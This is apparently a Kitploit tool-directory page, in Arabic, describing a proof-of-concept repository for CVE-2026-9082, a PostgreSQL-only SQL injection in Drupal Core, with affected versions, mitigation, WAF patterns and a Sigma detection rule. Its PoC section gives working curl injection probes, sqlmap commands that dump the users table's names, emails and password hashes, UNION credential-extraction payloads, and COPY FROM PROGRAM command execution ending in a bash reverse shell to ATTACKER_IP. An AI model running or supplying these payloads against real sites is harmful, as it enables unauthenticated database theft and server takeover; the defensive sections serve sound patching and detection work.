Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2026-9082 — cve poc | Kitploit
أدوات/GitHubGitHub/lysophavin18/cve-2026-9082
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمأمن قواعد البيانات
GitHublysophavin18/cve-2026-9082

cve-2026-9082

cve poc

عرض المستودع
منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-9082

النوع: SQL Injection (CWE-89) المنتج المتأثر: Drupal Core (واجهة تجريد قاعدة البيانات) استشارة Drupal الأمنية: SA-CORE-2026-004 تاريخ النشر: 20 مايو 2026 درجة الخطورة: حرجة للغاية (Drupal 20/25 | NVD CVSS 6.5)


ما هي؟

CVE-2026-9082 هي ثغرة حقن SQL في واجهة تجريد قاعدة البيانات الأساسية في Drupal Core. تغلّف طبقة قاعدة البيانات في Drupal مكتبة PDO وتُعقّم جميع الاستعلامات قبل وصولها إلى قاعدة البيانات. تتجاوز هذه الثغرة هذا التعقيم لقواعد بيانات PostgreSQL الخلفية فقط — إذ تتسلل طلبات HTTP مُصاغة بعناية عبر منطق التطبيع، وتحقن مقاطع SQL يتحكم بها المهاجم مباشرةً في استعلامات قاعدة البيانات.

MySQL و MariaDB غير متأثرتين بمتجه الحقن، على الرغم من أن الإصدار المُصحَّح يتضمن أيضًا إصلاحات حرجة لـ Symfony/Twig تنطبق على جميع الخوادم الخلفية.


الإصدارات المتأثرة

الفرعالإصدارات المعرضةالإصدار المُصحَّح
Drupal 10.4.x / 8.9.x8.9.0–10.4.910.4.10
Drupal 10.5.x10.5.0–10.5.910.5.10
Drupal 10.6.x10.6.0–10.6.810.6.9
Drupal 11.0.x–11.1.x11.0.0–11.1.911.1.10
Drupal 11.2.x11.2.0–11.2.1111.2.12
Drupal 11.3.x11.3.0–11.3.911.3.10

شرط مسبق: يجب أن يستخدم الهدف PostgreSQL كقاعدة بيانات خلفية.


كيف تعمل الثغرة (تقنيًا)

تنقّي طبقة تجريد قاعدة البيانات في Drupal القيم عبر استعلامات مُعاملات/عبارات مُجهزة، لكنها تعتمد على مُنشئ الاستعلام لتوفير SQL هيكلية موثوقة (أسماء الحقول، عوامل التشغيل، أهداف ORDER BY). يكمن الخلل في الطريقة التي يعالج بها مشغّل PostgreSQL أنماط إدخال معينة عند بناء الاستعلامات — إذ تختلف لهجة SQL في PostgreSQL عن MySQL في نقاط رئيسية:

  • دمج السلاسل النصية باستخدام ||
  • تحويل أنواع البيانات باستخدام ::
  • الاقتباس بالدولار (dollar-quoting)
  • أمر COPY ... FROM PROGRAM
  • معالجة مختلفة لعوامل التشغيل

يُدخل طلب مُصاغ بذكاء محارف/تسلسلات تمر عبر تعقيم مستوى القيم في Drupal لكن مُحلّل PostgreSQL يفسّرها كـ SQL هيكلية. سطح الهجوم قابل للوصول بدون مصادقة عبر أي نقطة نهاية تمرّر معاملات يتحكم بها المستخدم إلى استعلامات قاعدة البيانات (البحث، فلاتر العروض، عمليات إرسال النماذج، JSON:API، إلخ).

سلسلة الاستغلال

root@kitploit:~
Attacker (unauthenticated)
  |
  |--> HTTP request with crafted parameter
  |    (e.g. search field, filter, form input)
  |
  v
Drupal DB Abstraction API
  |
  |--> Sanitization bypass (PostgreSQL-specific)
  |
  v
PostgreSQL executes injected SQL
  |
  |--> Information disclosure (dump entire DB)
  |--> Privilege escalation (inject admin credentials)
  |--> RCE (PostgreSQL COPY TO PROGRAM, lo_export, etc.)

لماذا هي خطيرة؟

  1. لا تتطلب مصادقة — أي موقع Drupal معرّض للإنترنت ويعمل على PostgreSQL يكون مكشوفًا
  2. احتمالية تنفيذ أوامر عن بُعد (RCE) — عبر COPY TO PROGRAM 'cmd' إذا كان مستخدم قاعدة البيانات يملك صلاحيات superuser
  3. وصول كامل لقاعدة البيانات — حسابات المستخدمين، تجزئات كلمات المرور، رموز الجلسات، المعلومات الشخصية (PII)
  4. نطاق إصدارات واسع — دورة حياة Drupal 8/10/11 بأكملها
  5. خطر مركّب — نفس التصحيح يغطي ثغرة Twig SSTI؛ يمكن للمهاجم ربط SQLi ← إنشاء مسؤول ← SSTI لتحقيق RCE

تحذير Drupal الرسمي: "قد تُطوَّر عمليات استغلال في غضون ساعات أو أيام من الإفصاح" (بما يتوافق مع ثغرات CVE التاريخية في طبقة قاعدة بيانات Drupal مثل SA-CORE-2014-005 / Drupalgeddon).


إثبات المفهوم (لاختبارات المختبر المصرح بها فقط)

الخطوة 1: تحديد نقاط النهاية المرشحة

root@kitploit:~
# Endpoints that pass user input through DB abstraction layer
curl -s "https://target.drupal.site/search/node?keys=test"
curl -s "https://target.drupal.site/views/ajax"
curl -s "https://target.drupal.site/jsonapi/node/article"

الخطوة 2: كشف حقن SQL الخاص بـ PostgreSQL

root@kitploit:~
# Time-based (pg_sleep is PostgreSQL-only)
curl -s "https://target.drupal.site/search/node?keys=test%27%3Bselect+pg_sleep(5)--"

# Cast-based probe (:: is PostgreSQL syntax)
curl -s "https://target.drupal.site/search/node?keys=1::integer"

# Boolean-based differentiation
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='1"
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='2"

الخطوة 3: الاستخراج الآلي (sqlmap، اختبار مصرح به)

root@kitploit:~
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
  --dbms=PostgreSQL \
  --level=5 --risk=3 \
  --technique=BEUST \
  --tamper=space2comment,between \
  --dbs

# Dump credentials after confirming injection
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
  --dbms=PostgreSQL \
  -D drupal -T users_field_data \
  -C name,mail,pass --dump

الخطوة 4: الاستخراج اليدوي عبر UNION (مفاهيمي)

root@kitploit:~
-- Fingerprint column count
test' ORDER BY 1--
test' ORDER BY 2--  -- increment until error

-- Extract credentials (PostgreSQL syntax)
test' UNION SELECT null,username,password FROM users_field_data--

-- Check if DB user is superuser
test' UNION SELECT null,current_user,null--
test' UNION SELECT null,usesuper::text,null FROM pg_user WHERE usename=current_user--

الخطوة 5: تنفيذ أوامر عن بُعد (RCE) عبر COPY TO PROGRAM (إذا كان مستخدم قاعدة البيانات = superuser)

root@kitploit:~
CREATE TABLE cmd_out(output TEXT);
COPY cmd_out FROM PROGRAM 'id; uname -a';
SELECT * FROM cmd_out;

-- Reverse shell (replace ATTACKER_IP/PORT)
COPY cmd_out FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"';

التخفيف

فوريًا: تصحيح Drupal

root@kitploit:~
# Composer (recommended)
composer update drupal/core drupal/core-recommended

# Verify version
php core/scripts/drupal --version

# OR via Drush
drush updb && drush cr

تقوية قاعدة البيانات

root@kitploit:~
-- Verify application DB user is NOT superuser
SELECT usename, usesuper FROM pg_user WHERE usename = 'drupal_app_user';
-- Should return usesuper = false

جدار حماية تطبيقات الويب (WAF) (إجراء مؤقت فقط — ليس بديلًا عن التصحيح)

حظر الأنماط التالية: pg_sleep, COPY.*PROGRAM, ::text, ::integer, UNION.*SELECT, %27--

الشبكة

تأكد من أن PostgreSQL مرتبط فقط بعنوان localhost أو بواجهة شبكة خاصة؛ ولا يمكن الوصول إليه عبر الإنترنت.


مؤشرات الكشف

قاعدة Sigma (للكشف)

root@kitploit:~
title: Drupal CVE-2026-9082 SQL Injection Attempt
logsource:
  category: webserver
detection:
  selection:
    cs-uri-query|contains:
      - "pg_sleep"
      - "UNION+SELECT"
      - "::text"
      - "::integer"
      - "COPY+TO"
      - "%27--"
  filter:
    cs-uri-stem|contains:
      - "/search/"
      - "/views/ajax"
      - "/jsonapi/"
  condition: selection and filter
level: high
tags: [attack.t1190, cve.2026.9082]

ملخص

CVE-2026-9082 هي حقن SQL بدون مصادقة في Drupal Core تستهدف قواعد بيانات PostgreSQL الخلفية. على الرغم من درجة NVD CVSS المعتدلة البالغة 6.5، فإن Drupal يقيّمها بنسبة 20/25 (حرجة للغاية) لأن الوصول غير المصادَق + COPY TO PROGRAM في PostgreSQL = RCE مباشرة في البيئات غير المهيأة بشكل صحيح. النطاق الواسع للإصدارات المتأثرة وإصلاحات Twig SSTI المرفقة يجعلان هذا تصحيحًا حرجًا وعاجلًا لجميع مواقع Drupal، خاصة تلك التي تستخدم PostgreSQL في بيئات معرّضة للإنترنت.

الإجراء الموصى به: حدّث فورًا إلى الإصدار المُصحَّح الخاص بفرعك. تحقق من أن مستخدم تطبيق قاعدة البيانات ليس superuser في PostgreSQL.

تنزيل الأداة
المصدرالمؤشر
سجلات الويبpg_sleep, ::, UNION SELECT, --, COPY PROGRAM في سلاسل الاستعلام
سجلات PostgreSQLأخطاء صياغة تتزامن مع الطوابع الزمنية لطلبات الويب
سجل مراقبة Drupal (watchdog)استثناءات قاعدة بيانات من نقاط نهاية البحث/العروض/jsonapi
auditdعملية postgres تُطلق عمليات فرعية (COPY TO PROGRAM)
جدول مستخدمي Drupalصفوف جديدة لدور administrator بطوابع زمنية حديثة